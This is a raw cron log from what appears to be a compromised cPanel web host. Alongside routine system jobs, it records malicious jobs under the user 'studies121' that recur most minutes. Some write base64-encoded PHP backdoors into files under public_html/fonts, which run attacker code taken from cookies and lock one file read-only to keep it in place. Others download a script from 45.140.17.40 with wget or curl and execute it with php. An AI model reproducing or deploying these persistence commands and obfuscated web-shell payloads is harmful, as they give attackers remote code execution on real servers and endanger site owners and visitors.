Sep  1 13:27:02 ip-184-168-122-23 CROND[450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:27:02 ip-184-168-122-23 CROND[451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:27:02 ip-184-168-122-23 CROND[454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:27:02 ip-184-168-122-23 CROND[455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:28:01 ip-184-168-122-23 CROND[534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:28:01 ip-184-168-122-23 CROND[537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:28:01 ip-184-168-122-23 CROND[538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:28:01 ip-184-168-122-23 CROND[536]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:28:01 ip-184-168-122-23 CROND[539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:29:01 ip-184-168-122-23 CROND[636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:29:01 ip-184-168-122-23 CROND[638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:29:01 ip-184-168-122-23 CROND[641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:29:01 ip-184-168-122-23 CROND[642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:30:01 ip-184-168-122-23 CROND[732]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 13:30:01 ip-184-168-122-23 CROND[734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:30:01 ip-184-168-122-23 CROND[735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:30:01 ip-184-168-122-23 CROND[737]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:30:01 ip-184-168-122-23 CROND[733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:30:01 ip-184-168-122-23 CROND[742]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:30:01 ip-184-168-122-23 CROND[744]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:30:01 ip-184-168-122-23 CROND[745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:31:01 ip-184-168-122-23 CROND[926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:31:01 ip-184-168-122-23 CROND[929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:31:01 ip-184-168-122-23 CROND[928]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 13:31:01 ip-184-168-122-23 CROND[930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:31:01 ip-184-168-122-23 CROND[932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:32:01 ip-184-168-122-23 CROND[1019]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:32:01 ip-184-168-122-23 CROND[1021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:32:01 ip-184-168-122-23 CROND[1023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:32:01 ip-184-168-122-23 CROND[1024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:32:01 ip-184-168-122-23 CROND[1022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:33:01 ip-184-168-122-23 CROND[1111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:33:01 ip-184-168-122-23 CROND[1113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:33:01 ip-184-168-122-23 CROND[1114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:33:01 ip-184-168-122-23 CROND[1115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:34:01 ip-184-168-122-23 CROND[1196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:34:01 ip-184-168-122-23 CROND[1200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:34:01 ip-184-168-122-23 CROND[1201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:34:01 ip-184-168-122-23 CROND[1198]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:34:01 ip-184-168-122-23 CROND[1199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:35:01 ip-184-168-122-23 CROND[1300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:35:01 ip-184-168-122-23 CROND[1313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:35:01 ip-184-168-122-23 CROND[1317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:35:01 ip-184-168-122-23 CROND[1319]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 13:35:01 ip-184-168-122-23 CROND[1318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:35:01 ip-184-168-122-23 CROND[1321]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:35:01 ip-184-168-122-23 CROND[1322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:35:01 ip-184-168-122-23 CROND[1320]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 13:36:01 ip-184-168-122-23 CROND[1451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:36:01 ip-184-168-122-23 CROND[1453]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:36:01 ip-184-168-122-23 CROND[1452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:36:01 ip-184-168-122-23 CROND[1455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:36:01 ip-184-168-122-23 CROND[1454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:37:01 ip-184-168-122-23 CROND[1631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:37:01 ip-184-168-122-23 CROND[1630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:37:01 ip-184-168-122-23 CROND[1629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:37:01 ip-184-168-122-23 CROND[1632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:38:01 ip-184-168-122-23 CROND[1713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:38:01 ip-184-168-122-23 CROND[1717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:38:01 ip-184-168-122-23 CROND[1715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:38:01 ip-184-168-122-23 CROND[1718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:38:01 ip-184-168-122-23 CROND[1716]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:39:01 ip-184-168-122-23 CROND[1797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
